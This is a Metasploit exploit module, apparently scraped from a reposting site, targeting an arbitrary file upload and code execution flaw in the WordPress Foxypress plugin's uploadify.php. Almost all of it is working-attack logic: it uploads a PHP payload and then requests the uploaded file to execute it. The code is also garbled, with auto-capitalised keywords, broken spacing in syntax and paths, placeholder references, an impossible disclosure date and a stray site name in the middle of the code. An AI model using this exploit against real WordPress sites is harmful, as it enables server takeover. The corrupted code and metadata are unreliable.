Require 'msf/core'
Class Metasploit3 <Msf: Exploit: Remote
Rank = ExcellentRanking
Include Msf: Exploit: Remote: HttpClient
Def initialize (info = {})
Super (update_info (info,
'Name' => 'wordpress plugin Foxypress uploadify. php Arbitrary Code Execution ',
'Description' => % q {
This module exploits an arbitrary PHP code execution flaw in the WordPress
Blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
File upload and remote code execution via the uploadify. php script. The Foxypress
Plug-in versions 0.4.2.1 and below are vulnerable.
},
'Author' =>
[
'Sammy FORGIT ', # Vulnerability Discovery, PoC
'Patrick '# Metasploit module
],
'License '=> MSF_LICENSE,
'Version' => '$ Revision $ ',
'References '=>
[
['Edb', '123'],
['Ossvdb', '123'],
['Bid', '123'],
],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'Connectiontype' => 'Find ',
},
},
'Platform' => 'php ',
'Arch '=> ARCH_PHP,
'Targets' => [['automatically ', {}],
'Disclosuredate' => 'jun 05 100 ',
'Defaulttarget' => 0 ))
Register_options (
[
OptString. new ('targeturi ', [true, "The full URI path to WordPress", "/"]),
], Self. class)
End
Def check
Uri = target_uri.path
Uri <'/' if uri [-1, 1]! = '/'
Res = send_request_cgi ({
'Method' => 'get ',
'Url' => "# {uri} wp-content/plugins/foxypress/uploadify. php"
})
If res and res. code = 200
Return Exploit: CheckCode: Detected
Else
Return Exploit: CheckCode: Safe
End
End
Www.2cto.com
Def exploit
Uri = target_uri.path
Uri <'/' if uri [-1, 1]! = '/'
Peer = "# {rhost }:# {rport }"
Post_data = Rex: MIME: Message. new
Post_data.add_part ("<? Php # {payload. encoded}?> "," Application/octet-stream ", nil," form-data; name = \ "Filedata \"; filename = \ "# {rand_text_alphanumeric (6 )}. php \"")
Print_status ("# {peer}-Sending PHP payload ")
Res = send_request_cgi ({
'Method' => 'post ',
'Url' => "# {uri} wp-content/plugins/foxypress/uploadify. php ",
'Ctype '=> 'multipart/form-data; boundary =' + post_data.bound,
'Data' => post_data.to_s
})
If not res or res. code! = 200 or res. body !~ /\ {\ "Raw_file_name \" \ :\ "(\ w + )\"\,/
Print_error ("# {peer}-File wasn't uploaded, aborting! ")
Return
End
Print_good ("# {peer}-Our payload is at :#{$ 1}. php! Calling payload ...")
Res = send_request_cgi ({
'Method' => 'get ',
'Url' => "# {uri} wp-content/affiliate_images/# {$1}. php"
})
If res and res. code! = 200
Print_error ("# {peer}-Server returned # {res. code. to_s }")
End
End
End